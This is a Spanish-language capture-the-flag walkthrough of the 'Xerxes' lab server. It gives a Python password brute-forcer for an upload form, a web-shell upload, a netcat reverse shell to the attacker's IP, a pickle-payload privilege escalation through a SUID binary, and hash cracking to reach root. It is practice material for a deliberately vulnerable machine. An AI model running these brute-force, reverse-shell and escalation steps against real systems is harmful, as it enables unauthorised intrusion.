XERXES

Seguimos con los CTF desarrollando el nuestro. Se trata de un servidor que tiene solo el puerto 22 y 80, algunas key perdidas y el reto es acceder al server.

Hagamos un nmap como en todos los servidores


nmap -sV -sC 192.168.1.9

Ahora observaremos que tenemos un /dev/ así podemos evitar usar nikto y continuar con el proceso. Al observar la ubicación /dev/ nos muestra para subir una shell pero nos pide una contraseña.

Nos muestra  en la opción de olvidar contraseña una QR

zbarimg -d http://192.168.1.9/dev/lostpassword.png


echo "bG9vayBkZWVwZXI=" |base64 -d


La respuesta es: look deeper
Entonces nos da una idea que no es la entrada, lo único que se me ocurrió fue crear un diccionario y hacer fuerza bruta.
crunch 1 5 012345 >cread.txt

Vamos a crear en python una herramienta para hacer fuerza bruta haciendo como path/dev/upload.php y con nuestra ubicación de nuestro diccionario.
import requests
 
fd = open("/root/Desktop/cread.txt")
i = 0
 
while True:
  line = fd.readline()
  if line == '':
    break
  word = line.strip()
  if i == 1000:
    print "Testing", word
    i = 0
  i = i + 1
  r = requests.post("http://192.168.1.39/dev/upload.php",
          data={'password':word},
          files={'upload_file':('test','a')})
  if "you have supplied an invalid password" in r.content:
    continue
  else:
    print "Cas particulier avec", word
    print r.content
    break
 
fd.close()

Ejecutaremos nuestro código
python cread.py

Ahora nos muestra la contraseña
La contraseña seria: 45100

Ahora intentemos subir una shell o un exploit.
Puedes armarte el siguiente código para subir.





Lo podemos guardar con la extensión .yo o .pht o simplemente lo podemos subir con burpsuite y editando la extensión.
Ahora intentaremos conectarlo a nuestra maquina con el siguiente comando que te vas a manejar desde la URL
http://192.168.1.9/dev/upload/porn.yo?cmd=id

Para hacer el reversing
http://192.168.1.9/dev/upload/porn.yo?cmd=/bin/nc -e /bin/sh 192.168.1.7 2121 & 
Recuerda la IP colocada es la IP de tu maquina es como un LHOST.
Al iniciar hago lo siguiente
 id
pwd
ls -l /home
cd /home/amanpour
cat .bash_history
Lo que hicimos es ver el historial de los últimos comando que se usaron y obtenemos un código.
python steqr.py -f newpassword

Allí obtenemos la contraseña ssh del server
b56d9d8b6077fb56127d1c8ff84ece11
Intenta ingresar SSH con el usuario que investigamos.
ssh [email protected]
Ahora buscamos algunos archivos con el siguiente comando, ahora que tenemos nuestro SSH shell ver si podemos lograr una escalada de privilegios. Estimado Amanpour es parte de un grupo llamado "notas".
id
grep notes /etc/group
find / -perm -4000 -type f 2>/dev/null


file /opt/notes

cd /opt/

Vamos a seguir escalar nuestro privilegio.
touch /tmp/trap
nano /tmp/trap

cos
system
(S'/bin/sh'
tR.

./notes
load ../../tmp/trap
cd /home/curtiz
cat notes
Ahora leemos todos los contenido que tengamos y nos aparece a un tal Marie entonces buscaremos /etc/passwd
grep Marie /etc/passwd
Pero no tenemos mucha información y vamos a ver el siguiente usuario
file /bin/delacroix
Pero podemos usar string y vamos a obtener más información.
strings /bin/delacroix
Ahora vamos a decodificar el hash
EL HASH : 3d054afb77714ca938d8bca104fcb141 LA CLAVE : VonBraun Pero tenemos una clave privado y lo vamos a copiar y pegar con el siguiente paso darle permiso para poder acceder.
cat id_rsa

Y ahora vamos a acceder con delacroix
chmod 700 id_rsa

ssh -i id_rsa [email protected]
Ahora vemos algunos contenido que pose y lo que me costo es que el tiempo del archivo lo vamos a lanzar en MD5
stat .last

echo 00:19:51 | md5sum
6cf49e97c915079e27c09d41da9d95e4
sudo -l
Copiamos y pegamos el HASH
sudo bash
cd /root/

Ahora descargamos la imagen
nc -lvp 666 > flag

nc 192.168.1.7 666 < flag
Joder si que ha sido un desafió muy largo. Para terminarlo en días. No te olvides en compartirlo. GRACIAS!

Comments

Popular Posts